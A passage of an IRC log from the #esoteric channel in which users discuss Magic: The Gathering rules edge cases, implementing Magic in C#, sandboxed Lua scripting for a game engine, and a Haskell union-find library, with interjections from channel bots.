< 1446336392 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Hmm. If you interpret the rules excessively literally, an Aura with "Enchant player" can't be played. < 1446336415 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :They say: "Auras that can enchant a player can target and be attached to players." But they don't say that if an Aura has "Enchant player", then it can enchant a player. < 1446336436 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :But wait, maybe that's not true. < 1446336462 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Maybe there's something else implying that an Aura can enchant a player unless it has an ability saying it can't. < 1446336604 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I notice that some keyword abilities have specific meanings and others don't. "Flash" has a defined meaning. "Flying" doesn't have any particular meaning; instead, the rules check whether or not something has flying and behaves differently depending. < 1446336774 0 :jaboja!~jaboja@erw114.neoplus.adsl.tpnet.pl QUIT :Ping timeout: 260 seconds < 1446336833 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :"Hexproof" has a meaning when it's on a permanent (or a player), but not when it's on a non-permanent card. Presumably it just doesn't do anything at all on non-permanent cards. < 1446336944 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Oddly, "Indestructible" does not mean "This permanent can't be destroyed." Instead, the rules state that "A permanent with indestructible can't be destroyed." < 1446336952 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I don't know why they don't just give it that defined meaning. < 1446337279 0 :mauris!~mauris@unaffiliated/nooodl QUIT :Read error: Connection reset by peer < 1446337369 0 :mauris!~mauris@unaffiliated/nooodl JOIN :#esoteric < 1446337586 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Y'know, if they were to make a card with no characteristics, I think its behavior would be pretty straightforward. < 1446337611 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :It has no type. It's not a land and it's not a spell. It can't be played. It's colorless and its converted mana cost is 0. < 1446337768 0 :Sgeo!~Sgeo@ool-44c0f875.dyn.optonline.net PRIVMSG #esoteric :"We will be down for one hour this Saturday night (early Sunday morning), during the Daylight Savings Time rollback, for routine database maintenance and for investigating a hardware issue on a file server. We'll start at Sun Nov 1, 12:59 am Eastern Daylight Time, and end an hour later around 1:01 am Eastern Standard Time. " < 1446337786 0 :Sgeo!~Sgeo@ool-44c0f875.dyn.optonline.net PRIVMSG #esoteric :So, chance of it's that vs. "We're scared of daylight time changes"? < 1446337818 0 :Sgeo!~Sgeo@ool-44c0f875.dyn.optonline.net PRIVMSG #esoteric :Also saw malicious ad on Fark < 1446338040 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I wonder if they tested DST stuff. < 1446338148 0 :\oren\!~oren@TOROON0949W-LP140-02-1242510774.dsl.bell.ca PRIVMSG #esoteric :wait DST changes on halloween? spooky < 1446338641 0 :variable!~variable@freebsd/developer/variable JOIN :#esoteric < 1446338840 0 :llue!~gnomebad@cpc15-croy20-2-0-cust489.croy.cable.virginm.net JOIN :#esoteric < 1446338840 0 :llue!~gnomebad@cpc15-croy20-2-0-cust489.croy.cable.virginm.net QUIT :Changing host < 1446338840 0 :llue!~gnomebad@unaffiliated/lleu JOIN :#esoteric < 1446338930 0 :lleu!~gnomebad@unaffiliated/lleu QUIT :Read error: Connection reset by peer < 1446339087 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 268 seconds < 1446339694 0 :llue!~gnomebad@unaffiliated/lleu QUIT :Quit: That's what she said < 1446340173 0 :Wright!~Wright@c-98-225-44-92.hsd1.wa.comcast.net QUIT :Ping timeout: 265 seconds < 1446340546 0 :bender|!~benderx2@unaffiliated/bender/x-9459530 JOIN :#esoteric < 1446340719 0 :bender|!?@? NICK :bender < 1446341832 0 :\oren\!~oren@TOROON0949W-LP140-02-1242510774.dsl.bell.ca PRIVMSG #esoteric :`wisdom < 1446341841 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :native/The natives are restless, also armed with sed. < 1446341848 0 :\oren\!~oren@TOROON0949W-LP140-02-1242510774.dsl.bell.ca PRIVMSG #esoteric :`wisdom < 1446341849 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :partial order/A partial order is just a small thin skeletal category. < 1446341856 0 :\oren\!~oren@TOROON0949W-LP140-02-1242510774.dsl.bell.ca PRIVMSG #esoteric :`wisdom < 1446341858 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :grue/grue is the colour of the trees and the ocean < 1446341862 0 :\oren\!~oren@TOROON0949W-LP140-02-1242510774.dsl.bell.ca PRIVMSG #esoteric :`wisdom < 1446341863 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :newline/Newlines are le/rn's \ biggest weakness. < 1446341872 0 :\oren\!~oren@TOROON0949W-LP140-02-1242510774.dsl.bell.ca PRIVMSG #esoteric :`wisdom < 1446341874 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :godot/cf. elliott < 1446341878 0 :\oren\!~oren@TOROON0949W-LP140-02-1242510774.dsl.bell.ca PRIVMSG #esoteric :`wisdom < 1446341880 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :flower/flower. what IS a flower? < 1446344180 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :For some reason I'm implementing Magic in C#. < 1446344220 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :`? dome < 1446344221 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :dome? ¯\(°​_o)/¯ < 1446344256 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :I remember defining something and I can't remember what it was called... < 1446344266 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :If only boily was online... < 1446344276 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :`culprits^(-1) hppavilion[1] < 1446344277 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: culprits^(-1): not found < 1446344289 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Eh, HackEgo doesn't implement command inversion? < 1446344296 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :Dammit < 1446344298 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Stupid cut-rate bot. < 1446344310 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I'm so angry that I'm going to turn autowelcome off. < 1446344312 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :`autowelcome off < 1446344313 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Autowelcome disabled. < 1446344318 0 :zzo38!~zzo38@24-207-56-9.eastlink.ca PRIVMSG #esoteric :I would think that a card with no type should be playable similar to a global enchantment or artifact, which seems a more logical way to me. The rules don't say this though < 1446344324 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :And we can't add it, AFAIK, because of file name constraints < 1446344353 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :We can. Linux has almost no filename constraints. < 1446344363 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :Oh. Excellent < 1446344364 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :A filename can't contain a null or a forward slash. I think that's it. < 1446344365 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :You do that. < 1446344372 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :`? mapole < 1446344373 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I mean, there's likely a maximum length. < 1446344373 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6' by 12 kg, ±0.5 inHg. < 1446344431 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :zzo38: well, the rules give a mechanism for playing lands, and a mechanism for playing spells, but not a mechanism for playing non-land non-spells. < 1446344442 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I suppose you could argue that since it's a land, it's a spell even though it doesn't have a spell type. < 1446344469 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :In that case, it's still uncastable, not because it doesn't have a spell type, but because it doesn't have a mana cost, and spells without mana costs are uncastable. < 1446344479 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07User:Hppavilion1/Mapole14]]4 N10 02http://esolangs.org/w/index.php?oldid=45027 5* 03Hppavilion1 5* (+437) 10Created page as part of Hedwig Notta series < 1446344514 0 :doesthiswork!~Adium@71-20-42-132.war.clearwire-wmx.net JOIN :#esoteric < 1446344585 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07User:Hppavilion1/Any Valid ASCII14]]4 N10 02http://esolangs.org/w/index.php?oldid=45028 5* 03Hppavilion1 5* (+234) 10Created Page for later < 1446344596 0 :J_Arcane!~chatzilla@37-219-84-140.nat.bb.dnainternet.fi JOIN :#esoteric < 1446344637 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Any given ability is static, activated, or triggered, but not more than one of these, right? < 1446344643 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :So for my 2D RPG engine, I'm trying to decide on some features < 1446344666 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :Should the map scripting language be Lua or Python? < 1446344724 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :Or I could do both, and even maybe throw in an extra custom language < 1446344815 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Should it be possible for a map script to perform arbitrary actions on the player's computer? < 1446344818 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :If not, go with Lua. < 1446344870 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :tswett: Oh right xD < 1446344876 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :Definitely Lua then < 1446344900 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :Do I have to implement my own Lua, or would PyLua (or whatever) be safe? < 1446344956 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :You certainly shouldn't have to implement your own Lua. < 1446344968 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I don't know if PyLua or whatever would be safe; check the documentation. < 1446345264 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :I think I might also implement Minecraft-esque redstone-and-command-blocks < 1446346363 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :By the way, I've improved the autowelcome tracking script. It should now accurately reflect the actual autowelcome status 100% of the time. < 1446346365 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Observe. < 1446346368 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :`autowelcome on < 1446346370 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Autowelcome enabled. < 1446346372 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :`autowelcome status < 1446346372 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Autowelcome enabled. < 1446346374 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :`autowelcome off < 1446346376 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Autowelcome disabled. < 1446346377 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :`autowelcome status < 1446346378 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Autowelcome disabled. < 1446346382 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Impressive, ain't it? < 1446346586 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :Yes. < 1446346604 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :You managed to save a boolean to file and toggle it. I am in awe. < 1446346606 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :xD < 1446347350 0 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1446347374 0 :zzo38!~zzo38@24-207-56-9.eastlink.ca PRIVMSG #esoteric :tswett: Yes it is still uncastable if it has no mana cost anyways. A land cannot be cast as a spell but other card can be < 1446347707 0 :zzo38!~zzo38@24-207-56-9.eastlink.ca PRIVMSG #esoteric :hppavilion[1]: Maybe the map scripting language should be SQL, and then many thing having to do with save game file you do not need to worry about it can do automatically instead. < 1446347744 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :zzo38: Perhaps, but that leads to the problem of SQL not being very easy to use for scripting. < 1446347749 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :I might use some SQL though < 1446347777 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :(SQL isn't even TC, barring miracles) < 1446347797 0 :zzo38!~zzo38@24-207-56-9.eastlink.ca PRIVMSG #esoteric :SQLite support authorizer callback and you can define limits, in order to avoid to mess up the computer with it. < 1446347809 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :("Miracles" including things like the fact that SKI and TMs are TC) < 1446347839 0 :zzo38!~zzo38@24-207-56-9.eastlink.ca PRIVMSG #esoteric :And, SQL is even TC if you use a recursive WITH clause; you can (and should) also define your own functions too, one which are specific to use in this case; also with virtual table can also be done define your own to be specific for this use < 1446347904 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :Huh < 1446347933 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :The RPG engine is inspired heavily by Minecraft and possibly Terraria (never played it). < 1446347944 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :But it's designed specifically for maps to be made in it < 1446348004 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :Should I make chunks (which are squares) 8*8 or 16*16 < 1446348006 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :? < 1446348093 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net PRIVMSG #esoteric :I'm going with 8*8 < 1446349220 0 :nitrix!?@? NICK :nitrix-or-treat < 1446349478 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Woohoo, my Magic implementation builds successfully. < 1446349518 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I've successfully implemented land. < 1446349549 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Land automatically checks its own subtypes to determine what kind of mana it can produce implicitly. < 1446349561 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Now, there's no way to USE it. < 1446349573 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :It has an activated ability, with a defined activation cost and resolution effect. < 1446349585 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :But there's no way to actually activate the ability. < 1446349590 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Or to play the land. < 1446349595 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Or to begin a game in the first place. < 1446349610 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I mean, there's no user interface at all. < 1446349668 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :I guess my first milestone here will be to implement Forest Magic. < 1446349748 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :The subset of Magic: the Gathering that you end up with when the only legal card is Forest. < 1446349766 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Under older rules, it would have been possible to win this game without your opponent conceding. < 1446349778 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :Simply convince them to play Forests and tap them for mana a total of 20 times. < 1446349932 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :No, wait, you can still win without your opponent conceding in the current rules. < 1446349991 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :The optimal strategy is to mulligan down to zero, then do whatever the hell you want. Whoever has the smaller library loses. In the event of a tie, the player on the draw loses. < 1446350672 0 :^v!~^v@c-68-41-215-101.hsd1.mi.comcast.net JOIN :#esoteric < 1446351000 0 :doesthiswork!~Adium@71-20-42-132.war.clearwire-wmx.net QUIT :Quit: Leaving. < 1446351544 0 :doesthiswork!~Adium@71-20-42-132.war.clearwire-wmx.net JOIN :#esoteric < 1446352192 0 :JesseH!~JesseH@oftn/member/JesseH QUIT :Remote host closed the connection < 1446352670 0 :newsham!~chat@udp217044uds.hawaiiantel.net QUIT :Quit: Changing server < 1446352748 0 :newsham!~chat@udp217044uds.hawaiiantel.net JOIN :#esoteric < 1446353258 0 :Sprocklem!~sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 240 seconds < 1446353335 0 :hppavilion[2]!~Devourero@221-1-174-206.gci.net JOIN :#esoteric < 1446353502 0 :hppavilion[1]!~Devourero@221-1-174-206.gci.net QUIT :Ping timeout: 255 seconds < 1446353556 0 :jaboja!~jaboja@erw114.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1446354291 0 :jaboja64!~jaboja@erq224.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1446354341 0 :jaboja!~jaboja@erw114.neoplus.adsl.tpnet.pl QUIT :Disconnected by services < 1446354359 0 :jaboja64!?@? NICK :jaboja < 1446355618 0 :Sgeo!~Sgeo@ool-44c0f875.dyn.optonline.net PRIVMSG #esoteric :If this hour has 22 minutes, then this day has 25 hours. < 1446355929 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :if 1=2, then bertrand russell is the pope < 1446356159 0 :Sgeo!~Sgeo@ool-44c0f875.dyn.optonline.net PRIVMSG #esoteric :If 1+1=3, then 1+1=2 < 1446356474 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :> let 1+1=3 in 1+1 < 1446356477 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : 3 < 1446356592 0 :doesthiswork!~Adium@71-20-42-132.war.clearwire-wmx.net QUIT :Quit: Leaving. < 1446356639 0 :jaboja!~jaboja@erq224.neoplus.adsl.tpnet.pl QUIT :Ping timeout: 264 seconds < 1446357287 0 :lleu!~gnomebad@unaffiliated/lleu JOIN :#esoteric < 1446357689 0 :^v!~^v@c-68-41-215-101.hsd1.mi.comcast.net QUIT :Ping timeout: 265 seconds < 1446357920 0 :lleu!~gnomebad@unaffiliated/lleu QUIT :Quit: That's what she said < 1446357973 0 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Read error: Connection reset by peer < 1446357974 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1446358000 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1446358060 0 :copumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1446359368 0 :zadock!~outsider@81.180.210.212 JOIN :#esoteric < 1446359449 0 :zadock!~outsider@81.180.210.212 QUIT :Remote host closed the connection < 1446360465 0 :Sprocklem!~sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1446360781 0 :bender!~benderx2@unaffiliated/bender/x-9459530 QUIT :Ping timeout: 246 seconds < 1446361594 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> Identity 1 < 1446361596 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : Identity 1 < 1446361664 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh it leaves out just the field < 1446362038 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :what leaves out what? < 1446362496 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the Show instance for Identity < 1446362518 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@src Identity < 1446362518 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric :newtype Identity a = Identity { runIdentity :: a } < 1446362522 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wow it worked < 1446362687 0 :variable!~variable@freebsd/developer/variable QUIT :Quit: 1 found in /dev/zero < 1446362768 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i think Identity used to have a Show instance that showed the whole thing < 1446362781 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :or maybe it went straight from no instance to the simple instance < 1446362796 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i hope Either never gets a verbose instance like that < 1446362800 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :that would really come out of Left field < 1446363537 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i don't think Either has field names. seeing as ... ... ... < 1446363566 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION connects the swatter to a fan, points at shachaf and starts it -----### < 1446363594 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION turns off again < 1446365407 0 :bb010g!uid21050@gateway/web/irccloud.com/x-srrwupqbrocsiccm QUIT :Quit: Connection closed for inactivity < 1446366209 0 :pikhq!~pikhq@2601:647:4b00:63aa::f63 PRIVMSG #esoteric :ACTION waves "hi" from Switzerland < 1446366337 0 :GoToTell!~GotoTell@62.205.122.214 JOIN :#esoteric < 1446366533 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :pikhq: what are you doing in Switzerland < 1446366578 0 :pikhq!~pikhq@2601:647:4b00:63aa::f63 PRIVMSG #esoteric :Getting paid to be here. < 1446366590 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Ah < 1446366594 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :That explains it < 1446366608 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Meanwhile, I seem to be helping to run a small hackathon today < 1446366627 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :For people from Edinburgh < 1446366630 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :In York < 1446366650 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that sounds a little displaced < 1446366755 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Yes < 1446366762 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :We invited people from other places too < 1446366769 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :But only the Edinburgh people showed up < 1446366772 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :I am going to blame Ph < 1446366775 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :antom < 1446366776 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :_ < 1446366777 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Hoo < 1446366778 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :ver < 1446366792 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Who didn't tab complete so I panicked < 1446367056 0 :hppavilion[2]!~Devourero@221-1-174-206.gci.net QUIT :Ping timeout: 255 seconds < 1446367127 0 :AnotherTest!~turingcom@94-224-66-163.access.telenet.be JOIN :#esoteric < 1446367202 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :your panics seem to be escalating tdnh < 1446367535 0 :pikhq!~pikhq@2601:647:4b00:63aa::f63 PRIVMSG #esoteric :Ugh, I'm probably going to crash super soon and have some weird, weird sleep schedule going on. < 1446367553 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Talk:Hcbf14]]4 10 02http://esolangs.org/w/index.php?diff=45029&oldid=34166 5* 03Rdebath 5* (+2237) 10It was a good idea. < 1446372302 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1446376276 0 :jaboja!~jaboja@erq224.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1446376774 0 :Patashu!~Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au QUIT :Remote host closed the connection < 1446376800 0 :Patashu!Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au JOIN :#esoteric < 1446377334 0 :bender!~benderx2@unaffiliated/bender/x-9459530 JOIN :#esoteric < 1446378518 0 :evalj!~jeval@BC066B86.catv.pool.telekom.hu JOIN :#esoteric < 1446379602 0 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :hello < 1446379611 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Hi! < 1446379714 0 :Patashu!Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au QUIT :Ping timeout: 268 seconds < 1446379779 0 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :tanello < 1446380418 0 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1446380609 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :helluel world < 1446380621 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :I've written a small Haskell library for disjoint sets (union-find) < 1446380658 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :yay another one :) < 1446380673 0 :olsner!~salparot@c83-252-193-184.bredband.comhem.se PRIVMSG #esoteric :Taneb: Phantom_Hoover is available for tab-completion now < 1446380680 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Phantom_Hoover: I'm blaming you < 1446380736 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :int-e: I think it does things a little differently than the others < 1446380739 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Probably worse < 1446380801 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Taneb: I can't blame you. I'm the author of one of union-find union-find-array equivalence disjoint-set persistent-equivalence data-partition (that's what I found by a quick search on hackage) < 1446380823 0 :olsner!~salparot@c83-252-193-184.bredband.comhem.se PRIVMSG #esoteric :pikhq: do they pay you to be in Switzerland or just to not be wherever you were before? < 1446380871 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :int-e: I do it by being awful and unsafe, with a vector! < 1446380925 0 :olsner!~salparot@c83-252-193-184.bredband.comhem.se PRIVMSG #esoteric :you should call it awful-unsafe-disjoint-sets < 1446380965 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(it's one of these data structures with lots of little knobs for tuning... do you annotate nodes? Do you want to keep track of the whole equivalence classes or not? Do you want a mutable version or a persistent one, or perhaps a mutable version with undo capabilities?) < 1446381071 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :http://arin.ga/IQe0wC < 1446381085 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :And in the ende it's tremendously easy to implement (though I'm sure that there are a couple of pitfalls). < 1446381147 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :(that was a link to the module I was talking about) < 1446381149 0 :olsner!~salparot@c83-252-193-184.bredband.comhem.se PRIVMSG #esoteric :hmm, union uses unsafePerformIO, *unsafe*Union does not < 1446381211 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :olsner: yes < 1446381229 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :unsafeUnion can mess with with pure code < 1446381234 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :union works on a copy < 1446381279 0 :olsner!~salparot@c83-252-193-184.bredband.comhem.se PRIVMSG #esoteric :without reading too carefully, if it used ST or something it might actually be pure and safe? < 1446381289 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :MAYBE < 1446381299 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :Taneb, what'd i do this time < 1446381313 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :no, not really, at least not in conjunction with union < 1446381318 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Phantom_Hoover: you weren't around last time I tried to blame you, and you didn't tab-complete < 1446381344 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :olsner: I believe it's impossible to observe impure behaviour with newDisjointSet, union, and find < 1446381375 0 